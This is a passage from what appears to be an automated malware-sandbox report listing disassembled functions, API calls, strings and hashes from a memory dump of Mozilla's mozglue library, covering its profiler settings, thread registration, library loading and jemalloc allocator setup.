Instruction Fuzzy Hash: 4DA1B371F0021A8FDB18CE69C891BAEB7F2AFC8355F188129D925E7781D7345C068BD0

Function 6C537710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: fd50a0ec2c14363500f84b98c083608225998611c6295478c497090d6c852290
Instruction ID: 591f7a233f466057a2c1d1b61620def573fbe05400e19f629b7fb5998e263cae
Opcode Fuzzy Hash: fd50a0ec2c14363500f84b98c083608225998611c6295478c497090d6c852290
Instruction Fuzzy Hash: 71716D71E01229CFCB08CF99C9905EDBBB2FF89354F24912ED819AB740D731A945CB90

Function 6C53CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C50582D), ref: 6C53CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C50582D), ref: 6C53CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C56FE98,?,?,?,?,?,6C50582D), ref: 6C53CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C50582D), ref: 6C53CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C50582D), ref: 6C53CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C50582D), ref: 6C53CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C50582D), ref: 6C53CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C53CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C53CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C53CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C53CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C53CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C53CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C53CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C53CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C53CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C53CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C53CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C53CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C53CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C53CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C53CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C53CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C53CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C53CE8A

Strings

preferencereads, xrefs: 6C53CD92
fileio, xrefs: 6C53CC92
leaf, xrefs: 6C53CC66
processcpu, xrefs: 6C53CE6E
ipcmessages, xrefs: 6C53CDBE
seqstyle, xrefs: 6C53CCE6
jsallocations, xrefs: 6C53CD0E
java, xrefs: 6C53CC37
nativeallocations, xrefs: 6C53CDA8
stackwalk, xrefs: 6C53CCF8
unregisteredthreads, xrefs: 6C53CE58
power, xrefs: 6C53CE84
noiostacks, xrefs: 6C53CCBE
screenshots, xrefs: 6C53CCD4
markersallthreads, xrefs: 6C53CE42
default, xrefs: 6C53CC21
samplingallthreads, xrefs: 6C53CE2C
cpuallthreads, xrefs: 6C53CE16
audiocallbacktracing, xrefs: 6C53CDD4
notimerresolutionchange, xrefs: 6C53CE00
nostacksampling, xrefs: 6C53CD7C
Unrecognized feature "%s"., xrefs: 6C53CEA0
fileioall, xrefs: 6C53CCA8
mainthreadio, xrefs: 6C53CC7C

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 6bad48e51dccccb821bd16241987482397464511284756a6a2e540f8f4ae1a1d
Instruction ID: 46713d7ed6c44bd8f01e2ed8eaaf326eefcf47352b6ed1dec45074d6dc685352
Opcode Fuzzy Hash: 6bad48e51dccccb821bd16241987482397464511284756a6a2e540f8f4ae1a1d
Instruction Fuzzy Hash: A451CBF1A052B552FE0270166C10BAA1645EB93249F106E37FD0FE2F90FF05B64946B7

Function 6C5047C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C504801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C504817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C50482D
__Init_thread_footer.LIBCMT ref: 6C50484A

Part of subcall function 6C52AB3F: EnterCriticalSection.KERNEL32(6C57E370,?,?,6C4F3527,6C57F6CC,?,?,?,?,?,?,?,?,6C4F3284), ref: 6C52AB49
Part of subcall function 6C52AB3F: LeaveCriticalSection.KERNEL32(6C57E370,?,6C4F3527,6C57F6CC,?,?,?,?,?,?,?,?,6C4F3284,?,?,6C5156F6), ref: 6C52AB7C

GetCurrentThreadId.KERNEL32 ref: 6C50485F
GetCurrentThreadId.KERNEL32 ref: 6C50487E
AcquireSRWLockExclusive.KERNEL32(6C57F4B8), ref: 6C50488B
free.MOZGLUE(?), ref: 6C50493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C504956
free.MOZGLUE(00000000), ref: 6C504960
ReleaseSRWLockExclusive.KERNEL32(6C57F4B8), ref: 6C50499A

Part of subcall function 6C52AB89: EnterCriticalSection.KERNEL32(6C57E370,?,?,?,6C4F34DE,6C57F6CC,?,?,?,?,?,?,?,6C4F3284), ref: 6C52AB94
Part of subcall function 6C52AB89: LeaveCriticalSection.KERNEL32(6C57E370,?,6C4F34DE,6C57F6CC,?,?,?,?,?,?,?,6C4F3284,?,?,6C5156F6), ref: 6C52ABD1

free.MOZGLUE(?), ref: 6C5049C6
free.MOZGLUE(?), ref: 6C5049E9

Part of subcall function 6C515E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C515EDB
Part of subcall function 6C515E90: memset.VCRUNTIME140(ewUl,000000E5,?), ref: 6C515F27
Part of subcall function 6C515E90: LeaveCriticalSection.KERNEL32(?), ref: 6C515FB2

Strings

[I %d/%d] profiler_shutdown, xrefs: 6C504A06
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C504828
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C504812
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5047FC
MOZ_PROFILER_SHUTDOWN, xrefs: 6C504A42

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: ff6be0156fd92d65cf2efe0e8ce67a2b6af0368e86797c5ecb3d350d7338bf23
Instruction ID: 050d3bdbae6be6176e58dfd9a94913648c755acab413cb6163b2543bb0d9e827
Opcode Fuzzy Hash: ff6be0156fd92d65cf2efe0e8ce67a2b6af0368e86797c5ecb3d350d7338bf23
Instruction Fuzzy Hash: B881E371B00120CBDB11DF28CC59B5A37B6FF92318F550A29E916D7B41E731E894CBAA

Function 6C504470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C504730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5044B2,6C57E21C,6C57F7F8), ref: 6C50473E
Part of subcall function 6C504730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C50474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C5044BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C5044D2
InitOnceExecuteOnce.KERNEL32(6C57F80C,6C4FF240,?,?), ref: 6C50451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C50455C
LoadLibraryW.KERNEL32(?), ref: 6C504592
InitializeCriticalSection.KERNEL32(6C57F770), ref: 6C5045A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C5045AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C5045BB
InitOnceExecuteOnce.KERNEL32(6C57F818,6C4FF240,?,?), ref: 6C504612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C504636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C504644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C50466D
VerSetConditionMask.NTDLL ref: 6C50469F
VerSetConditionMask.NTDLL ref: 6C5046AB
VerSetConditionMask.NTDLL ref: 6C5046B2
VerSetConditionMask.NTDLL ref: 6C5046B9
VerSetConditionMask.NTDLL ref: 6C5046C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5046CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C5046F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C5046FD

Strings

WRusr.dll, xrefs: 6C5044B5
NativeNtBlockSet_Write, xrefs: 6C5046F7
user32.dll, xrefs: 6C504557, 6C50463F
l, xrefs: 6C504578
kernel32.dll, xrefs: 6C5044CD
GWl, xrefs: 6C5044FC

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: GWl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-2682853501
Opcode ID: 0130af09c77e1b828e927bd721a6ccac215499c0efd83fba3d0cf43fbeb30f68
Instruction ID: 36ea5ef0d556a3e02595828a479c1759ec86f27c83446e998abedc6c8dc34181
Opcode Fuzzy Hash: 0130af09c77e1b828e927bd721a6ccac215499c0efd83fba3d0cf43fbeb30f68
Instruction Fuzzy Hash: 0961E0B0B04354AFEB12DF60CC09B997BF8EB96308F058658E9049B641E7B499C5CF75

Function 6C53F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C539420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C504A68), ref: 6C53945E
Part of subcall function 6C539420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C539470
Part of subcall function 6C539420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C539482
Part of subcall function 6C539420: __Init_thread_footer.LIBCMT ref: 6C53949F

GetCurrentThreadId.KERNEL32 ref: 6C53F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C53F8F9

Part of subcall function 6C506390: GetCurrentThreadId.KERNEL32 ref: 6C5063D0
Part of subcall function 6C506390: AcquireSRWLockExclusive.KERNEL32 ref: 6C5063DF
Part of subcall function 6C506390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C50640E

ReleaseSRWLockExclusive.KERNEL32(6C57F4B8), ref: 6C53F93A
GetCurrentThreadId.KERNEL32 ref: 6C53F98A
GetCurrentThreadId.KERNEL32 ref: 6C53F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C53F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C53F716

Part of subcall function 6C5394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5394EE
Part of subcall function 6C5394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C539508

Part of subcall function 6C4FB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C4FB5E0

GetCurrentThreadId.KERNEL32 ref: 6C53F739
AcquireSRWLockExclusive.KERNEL32(6C57F4B8), ref: 6C53F746
GetCurrentThreadId.KERNEL32 ref: 6C53F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C57385B,00000002,?,?,?,?,?), ref: 6C53F829
free.MOZGLUE(?,?,00000000,?), ref: 6C53F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C53F866
free.MOZGLUE(?), ref: 6C53FA0C

Part of subcall function 6C505E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5055E1), ref: 6C505E8C
Part of subcall function 6C505E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C505E9D
Part of subcall function 6C505E60: GetCurrentThreadId.KERNEL32 ref: 6C505EAB
Part of subcall function 6C505E60: GetCurrentThreadId.KERNEL32 ref: 6C505EB8
Part of subcall function 6C505E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C505ECF
Part of subcall function 6C505E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C505F27
Part of subcall function 6C505E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C505F47
Part of subcall function 6C505E60: GetCurrentProcess.KERNEL32 ref: 6C505F53
Part of subcall function 6C505E60: GetCurrentThread.KERNEL32 ref: 6C505F5C
Part of subcall function 6C505E60: GetCurrentProcess.KERNEL32 ref: 6C505F66
Part of subcall function 6C505E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C505F7E

free.MOZGLUE(?), ref: 6C53F9C5
free.MOZGLUE(?), ref: 6C53F9DA

Strings

Thread , xrefs: 6C53F789
[D %d/%d] profiler_register_thread(%s), xrefs: 6C53F71F
" attempted to re-register as ", xrefs: 6C53F858
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C53F9A6

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 9e0ecdffc06ee535a9464ea9544f524f3616519eb83e5bc537f3f71f7e63ce81
Instruction ID: d968b8252e62b20c1539b3a4d5a2f9f390ffd9f504835bdef37198cb455f79d8
Opcode Fuzzy Hash: 9e0ecdffc06ee535a9464ea9544f524f3616519eb83e5bc537f3f71f7e63ce81
Instruction Fuzzy Hash: BD810671A04324DFDB11DF24CC44AAAB7A5FFC5308F45469DE84997B51EB309C89CBA2

Function 6C53EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C539420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C504A68), ref: 6C53945E
Part of subcall function 6C539420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C539470
Part of subcall function 6C539420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C539482
Part of subcall function 6C539420: __Init_thread_footer.LIBCMT ref: 6C53949F

GetCurrentThreadId.KERNEL32 ref: 6C53EE60
AcquireSRWLockExclusive.KERNEL32(6C57F4B8), ref: 6C53EE6D
ReleaseSRWLockExclusive.KERNEL32(6C57F4B8), ref: 6C53EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C53EEA5
CloseHandle.KERNEL32(?), ref: 6C53EEB4
free.MOZGLUE(00000000), ref: 6C53EEBB
GetCurrentThreadId.KERNEL32 ref: 6C53EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C53EECF

Part of subcall function 6C53DE60: GetCurrentThreadId.KERNEL32 ref: 6C53DE73
Part of subcall function 6C53DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C504A68), ref: 6C53DE7B
Part of subcall function 6C53DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C504A68), ref: 6C53DEB8
Part of subcall function 6C53DE60: free.MOZGLUE(00000000,?,6C504A68), ref: 6C53DEFE
Part of subcall function 6C53DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C53DF38

Part of subcall function 6C52CBE8: GetCurrentProcess.KERNEL32(?,6C4F31A7), ref: 6C52CBF1
Part of subcall function 6C52CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4F31A7), ref: 6C52CBFA

GetCurrentThreadId.KERNEL32 ref: 6C53EF1E
AcquireSRWLockExclusive.KERNEL32(6C57F4B8), ref: 6C53EF2B
ReleaseSRWLockExclusive.KERNEL32(6C57F4B8), ref: 6C53EF59
GetCurrentThreadId.KERNEL32 ref: 6C53EFB0
AcquireSRWLockExclusive.KERNEL32(6C57F4B8), ref: 6C53EFBD
ReleaseSRWLockExclusive.KERNEL32(6C57F4B8), ref: 6C53EFE1
GetCurrentThreadId.KERNEL32 ref: 6C53EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C53F000

Part of subcall function 6C5394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5394EE
Part of subcall function 6C5394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C539508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C53F02F

Part of subcall function 6C53F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C53F09B
Part of subcall function 6C53F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C53F0AC
Part of subcall function 6C53F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C53F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C53EED7
[I %d/%d] profiler_pause, xrefs: 6C53F008

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 8befe928701dc2f73fe099b3866c2584483425f7d0d9853515552359d1aabd2f
Instruction ID: bbb591dd6df86e9de37e03db00fc366261a646f575665fe34eec223ec1daf3a0
Opcode Fuzzy Hash: 8befe928701dc2f73fe099b3866c2584483425f7d0d9853515552359d1aabd2f
Instruction Fuzzy Hash: 3C51F471604230DFDB12AB64DC087957BF5EB86328F120619EA1983B81EBB55CD4C7BA

Function 6C52D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C57E804), ref: 6C52D047
GetSystemInfo.KERNEL32(?), ref: 6C52D093
__Init_thread_footer.LIBCMT ref: 6C52D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C57E810,00000040), ref: 6C52D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C57E7B8,00001388), ref: 6C52D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C57E744,00001388), ref: 6C52D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C57E784,00001388), ref: 6C52D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C57E7DC,00001388), ref: 6C52D1B1

Strings

<jemalloc>, xrefs: 6C52D268, 6C52D311
MOZ_CRASH(), xrefs: 6C52D277
: (malloc) Unsupported character in malloc options: ', xrefs: 6C52D322
MALLOC_OPTIONS, xrefs: 6C52D0CB
Compile-time page size does not divide the runtime one., xrefs: 6C52D26D

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 322aa45df7524c900e8c5c3c3e129298ea82f3b1c21ee7e3587890808d347379
Instruction ID: ebba32c033f152d088f386b7ecc9db31370546d6f181038d888ad224def08896
Opcode Fuzzy Hash: 322aa45df7524c900e8c5c3c3e129298ea82f3b1c21ee7e3587890808d347379
Instruction Fuzzy Hash: 1581BE70A003609FEB16DF68CC55BA977F5EF46308F210529E90197B80D7B99885CBF5

Function 6C507FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C508007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C50801D

Part of subcall function 6C50CA10: malloc.MOZGLUE(?), ref: 6C50CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C50802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C50803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C50808D

Part of subcall function 6C50CA10: mozalloc_abort.MOZGLUE(?), ref: 6C50CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C50809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C5080B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C5080DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5080ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5080FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C50810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C508133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C508149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C508167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C50817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C508199

Strings

0>Sl, xrefs: 6C50811E

Memory Dump Source

